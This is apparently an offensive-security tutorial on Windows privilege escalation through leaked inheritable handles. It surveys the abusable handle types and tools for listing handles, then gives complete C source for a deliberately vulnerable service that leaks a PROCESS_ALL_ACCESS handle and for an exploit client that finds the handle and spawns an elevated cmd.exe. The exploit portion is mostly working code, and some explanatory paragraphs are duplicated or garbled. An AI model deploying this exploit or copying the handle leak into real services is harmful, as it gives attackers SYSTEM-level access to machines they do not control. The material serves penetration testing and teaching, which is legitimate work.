Handles in a process allow to access different Windows resources:
There have been already several privilege escalation cases where a privileged process with open and inheritable handles have run an unprivileged process giving it access to all those handles.
For example, imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also creates a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Interesting Handles
Process
As you read on the initial example if an unprivileged process inherits a process handle of a privileged process with enough permissions it will be able to execute arbitrary code on it.
In this excellent article you can see how to exploit any process handle that has any of the following permissions:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
Similar to the process handles, if an unprivileged process inherits a thread handle of a privileged process with enough permissions it will be able to execute arbitrary code on it.
In this excellent article you can also see how to exploit any process handle that has any of the following permissions:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
File, Key & Section Handles
If an unprivileged process inherits a handle with write equivalent permissions over a privileged file or registry, it will be able to overwrite the file/registry (and with a lot of luck, escalate privileged).
Section Handles are similar to file handles, the common name of this kinds of objects is "File Mapping". They are used to work with big files without keeping the entire file in memory. That makes the exploitation kind of "similar" to the exploitation of a File Handle.
How to see handles of processes
Process Hacker
Process Hacker is a tool you can download for free. It has several amazing options to inspect processes and one of them is the capability to see the handles of each process.
Note that in order to see all the handles of all the processes, the SeDebugPrivilege is needed (so you need to run Process Hacker as administrator).
To see the handles of a process, right click in the process and select Handles:
You can then right click on the handle and check the permissions:
Sysinternals Handles
The Handlesbinary from Sysinternals will also list the handles per process in the console:
LeakedHandlesFinder
This tool allows you to monitor leaked handles and even autoexploit them to escalate privileges.
Methodology
Now that you know how to find handles of processes what you need to check is if any unprivileged process is having access to privileged handles. In that case, the user of the process could be able to obtain the handle and abuse it to escalate privileges.
It was mentioned before that you need the SeDebugPrivilege to access all the handles. But a user can still access the handles of his processes, so it might be useful if you want to privesc just from that user to execute the tools with the user regular permissions.
For example, the following code belongs to a Windows service that would be vulnerable. The vulnerable code of this service binary is located inside the Exploit function. This function is starts creating a new handle process with full access. Then, it's creating a low privileged process (by copying the low privileged token of explorer.exe) executing C:\users\username\desktop\client.exe. The vulnerability resides in the fact it's creating the low privileged process with bInheritHandles as TRUE.
Therefore, this low privileges process is able to grab the handle of the high privileged process crated first and inject and execute a shellcode (see next section).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) { HANDLE hProcSnap; PROCESSENTRY32 pe32;int pid =0; hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32); if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0; }while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) { pid =pe32.th32ProcessID;break; } }CloseHandle(hProcSnap);return pid;}intExploit(void) { STARTUPINFOA si; PROCESS_INFORMATION pi;int pid =0; HANDLE hUserToken; HANDLE hUserProc; HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked! hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") ) hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1; }// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break; }SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0; serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation here stopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent ); stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus ); }}voidInstallService() { SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) { TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) { SC_HANDLE service =CreateService( serviceControlManager, serviceName, serviceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service ); }CloseServiceHandle( serviceControlManager ); }}voidUninstallService() { SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) { SC_HANDLE service =OpenService( serviceControlManager, serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) { SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service ); }CloseServiceHandle( service ); }CloseServiceHandle( serviceControlManager ); }}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService(); }elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService(); }else { SERVICE_TABLE_ENTRY serviceTable[]= { { serviceName, ServiceMain }, { 0,0 } };StartServiceCtrlDispatcher( serviceTable ); } return0;}
Exploit Example 1
In a real scenario you probably won't be able to control the binary that is going to be executed by the vulnerable code (C:\users\username\desktop\client.exe in this case). Probably you will compromise a process and you will need to look if you can access any vulnerable handle of any privileged process.
In this example you can find the code of a possible exploit for C:\users\username\desktop\client.exe.
The most interesting part of this code is located in GetVulnProcHandle. This function will start fetching all the handles, then it will check if any of them belongs to the same PID and if the handle belongs to a process. If all these requirements are completed (an accessible open process handle is found) , it try to inject and execute a shellcode abusing the handle of the process.
The injection of the shellcode is done inside the Inject function and it will just write the shellcode inside the privileged process and create a thread inside the same process to execute the shellcode).
In a real scenario you probably won't be able to control the binary that is going to be executed by the vulnerable code (C:\users\username\desktop\client.exe in this case). Probably you will compromise a process and you will need to look if you can access any vulnerable handle of any privileged process.
In this example, instead of abusing the open handle to inject and execute a shellcode, it's going to be used the token of the privileged open handle process to create a new one. This is done in lines from 138 to 148.
Note how the function UpdateProcThreadAttribute is used with the attribute PROC_THREAD_ATTRIBUTE_PARENT_PROCESS and the handle to the open privileged process. This means that the created process thread executing _cmd.exe_** will have the same token privilege as the open handle process**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) { ULONG handleInfoSize =0x10000; NTSTATUS status; PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize); HANDLE hProc =NULL; POBJECT_TYPE_INFORMATION objectTypeInfo; PVOID objectNameInfo; UNICODE_STRING objectName; ULONG returnLength; HMODULE hNtdll =GetModuleHandleA("ntdll.dll"); DWORD dwOwnPID =GetCurrentProcessId(); pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation"); pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject"); pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject"); pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString"); pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH) phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS) {printf("[!] NtQuerySystemInformation failed!\n");return0; }printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue; objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectTypeInformation, objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue; }// get object name information objectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectNameInformation, objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query again objectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectNameInformation, objectNameInfo, returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue; } }// check if we've got a process object objectName =*(PUNICODE_STRING) objectNameInfo; UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue); hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break; }elsecontinue;free(objectTypeInfo);free(objectNameInfo); }return hProc;} intmain(int argc,char**argv) { HANDLE hProc =NULL; STARTUPINFOEXA si; PROCESS_INFORMATION pi;int pid =0; SIZE_T size; BOOL ret;Sleep(20000);// find leaked process handle hProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size); UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd process ret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1; } }Sleep(20000);return0;}